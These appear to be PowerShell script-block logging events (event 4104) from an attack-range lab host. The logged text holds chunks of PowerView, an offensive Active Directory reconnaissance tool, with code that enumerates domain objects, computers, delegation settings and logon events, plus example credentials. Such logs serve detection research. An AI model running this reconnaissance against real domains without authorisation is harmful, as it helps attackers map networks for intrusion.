.PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a Count Name ----- ---- 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local 4 CN=Users,CN=Builtin,DC=testlab,DC=local 2 CN=Guests,CN=Builtin,DC=testlab,DC=local 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local .EXAMPLE 'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 AttributeName : member AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local TimeDeleted : 2017-03-06T00:48:29Z TimeCreated : 2017-03-06T00:48:29Z LastOriginatingChange : 2017-03-06T00:48:29Z Version : 1 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 AttributeName : member AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local TimeDeleted : 2017-06-13T22:20:02Z TimeCreated : 2017-06-13T22:20:02Z LastOriginatingChange : 2017-06-13T22:20:22Z Version : 2 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 AttributeName : member AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local TimeDeleted : 2017-03-06T00:48:29Z TimeCreated : 2017-03-06T00:48:29Z LastOriginatingChange : 2017-03-06T00:48:29Z Version : 1 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .EXAMPLE Get-Domai ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989498 Keywords=None Message=Creating Scriptblock text (18 of 61): rite-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" } } $CompSearcher.dispose() } } } function Get-DomainObject { <# .SYNOPSIS Return all (or specified) domain objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainObject -Domain testlab.local Return all objects for the testlab.local domain .EXAMPLE 'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname distinguishedname ----------------- CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local CN=dfm,CN=Users,DC=testlab,DC=local OU=OU3,DC=testlab,DC=local CN=dfm (admin),CN=Users,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObject -Credential $Cred -Identity 'windows1' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) distinguishedname ----------------- CN=harmj0y,CN=Users,DC=testlab,DC=local VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local .OUTPUTS PowerView.ADObject Custom PSObject with translated AD object property fields. PowerView.ADObject.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObject')] [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ObjectSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($ObjectSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $ObjectSearcher = Get-DomainSearcher @SearcherArguments if (-not $ObjectSearcher) { Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $ObjectName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$ObjectName)" $SearcherArguments['Domain'] = $ObjectDomain Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } if ($Filter -and $Filter -ne '') { $ObjectSearcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } else { $Results = $ObjectSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Object = $_ $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') } else { $Object = Convert-LDAPProperty -Properties $_.Properties $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') } $Object } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" } } $ObjectSearcher.dispose( ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989497 Keywords=None Message=Creating Scriptblock text (17 of 61): ab.local). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Unconstrained Switch. Return computer objects that have unconstrained delegation. .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. .PARAMETER Printers Switch. Return only printers. .PARAMETER SPN Return computers with a specific service principal name, wildcards accepted. .PARAMETER OperatingSystem Return computers with a specific operating system, wildcards accepted. .PARAMETER ServicePack Return computers with a specific service pack, wildcards accepted. .PARAMETER SiteName Return computers in the specific AD Site name, wildcards accepted. .PARAMETER Ping Switch. Ping each host to ensure it's up before enumerating. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainComputer Returns the current computers in current domain. .EXAMPLE Get-DomainComputer -SPN mssql* -Domain testlab.local Returns all MS SQL servers in the testlab.local domain. .EXAMPLE Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname Return the dns hostnames of servers trusted for delegation. .EXAMPLE Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained Search the specified OU for computeres that allow unconstrained delegation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainComputer -Credential $Cred .OUTPUTS PowerView.Computer Custom PSObject with translated computer property fields. PowerView.Computer.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [OutputType('PowerView.Computer')] [OutputType('PowerView.Computer.Raw')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('SamAccountName', 'Name', 'DNSHostName')] [String[]] $Identity, [Switch] $Unconstrained, [Switch] $TrustedToAuth, [Switch] $Printers, [ValidateNotNullOrEmpty()] [Alias('ServicePrincipalName')] [String] $SPN, [ValidateNotNullOrEmpty()] [String] $OperatingSystem, [ValidateNotNullOrEmpty()] [String] $ServicePack, [ValidateNotNullOrEmpty()] [String] $SiteName, [Switch] $Ping, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $CompSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } if ($CompSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $CompSearcher = Get-DomainSearcher @SearcherArguments if (-not $CompSearcher) { Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } else { $IdentityFilter += "(name=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['Unconstrained']) { Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['Printers']) { Write-Verbose '[Get-DomainComputer] Searching for printers' $Filter += '(objectCategory=printQueue)' } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" $Filter += "(servicePrincipalName=$SPN)" } if ($PSBoundParameters['OperatingSystem']) { Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" $Filter += "(operatingsystem=$OperatingSystem)" } if ($PSBoundParameters['ServicePack']) { Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" $Filter += "(operatingsystemservicepack=$ServicePack)" } if ($PSBoundParameters['SiteName']) { Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" $Filter += "(serverreferencebl=$SiteName)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } else { $Results = $CompSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Up = $True if ($PSBoundParameters['Ping']) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname } if ($Up) { if ($PSBoundParameters['Raw']) { # return raw result objects $Computer = $_ $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } else { $Computer = Convert-LDAPProperty -Properties $_.Properties $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } $Computer } } if ($Results) { try { $Results.dispose() } catch { W ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989496 Keywords=None Message=Creating Scriptblock text (16 of 61): 's'))' ] ] ] and *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']] *[ System[ Provider[ @Name='Microsoft-Windows-Security-Auditing' ] and (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) ] ] and *[ EventData[ ( (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') or Data[@Name='TargetUserName']='ANONYMOUS LOGON' or Data[@Name='TargetUserSID']='S-1-5-18' ) ] ] "@ $EventArguments = @{ 'FilterXPath' = $XPathFilter 'LogName' = 'Security' 'MaxEvents' = $MaxEvents } if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { $EventArguments['ComputerName'] = $Computer Get-WinEvent @EventArguments| ForEach-Object { $Event = $_ $Properties = $Event.Properties Switch ($Event.Id) { # logon event 4624 { # skip computer logons, for now... if(-not $Properties[5].Value.EndsWith('$')) { $Output = New-Object PSObject -Property @{ ComputerName = $Computer TimeCreated = $Event.TimeCreated EventId = $Event.Id SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value SubjectLogonId = $Properties[3].Value TargetUserSid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value TargetLogonId = $Properties[7].Value LogonType = $Properties[8].Value LogonProcessName = $Properties[9].Value AuthenticationPackageName = $Properties[10].Value WorkstationName = $Properties[11].Value LogonGuid = $Properties[12].Value TransmittedServices = $Properties[13].Value LmPackageName = $Properties[14].Value KeyLength = $Properties[15].Value ProcessId = $Properties[16].Value ProcessName = $Properties[17].Value IpAddress = $Properties[18].Value IpPort = $Properties[19].Value ImpersonationLevel = $Properties[20].Value RestrictedAdminMode = $Properties[21].Value TargetOutboundUserName = $Properties[22].Value TargetOutboundDomainName = $Properties[23].Value VirtualAccount = $Properties[24].Value TargetLinkedLogonId = $Properties[25].Value ElevatedToken = $Properties[26].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') $Output } } # logon with explicit credential 4648 { # skip computer logons, for now... if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { $Output = New-Object PSObject -Property @{ ComputerName = $Computer TimeCreated = $Event.TimeCreated EventId = $Event.Id SubjectUserSid = $Properties[0].Value.ToString() SubjectUserName = $Properties[1].Value SubjectDomainName = $Properties[2].Value SubjectLogonId = $Properties[3].Value LogonGuid = $Properties[4].Value.ToString() TargetUserName = $Properties[5].Value TargetDomainName = $Properties[6].Value TargetLogonGuid = $Properties[7].Value TargetServerName = $Properties[8].Value TargetInfo = $Properties[9].Value ProcessId = $Properties[10].Value ProcessName = $Properties[11].Value IpAddress = $Properties[12].Value IpPort = $Properties[13].Value } $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') $Output } } default { Write-Warning "No handler exists for event ID: $($Event.Id)" } } } } } } function Get-DomainGUIDMap { <# .SYNOPSIS Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-Forest .DESCRIPTION Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) for objects where objectClass=controlAccessRight, translating the GUIDs again. Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .OUTPUTS Hashtable Ouputs a hashtable containing a GUID -> Readable Name mapping. .LINK http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} $ForestArguments = @{} if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } try { $SchemaPath = (Get-Forest @ForestArguments).schema.name } catch { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' } if (-not $SchemaPath) { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' } $SearcherArguments = @{ 'SearchBase' = $SchemaPath 'LDAPFilter' = '(schemaIDGUID=*)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SchemaSearcher = Get-DomainSearcher @SearcherArguments if ($SchemaSearcher) { try { $Results = 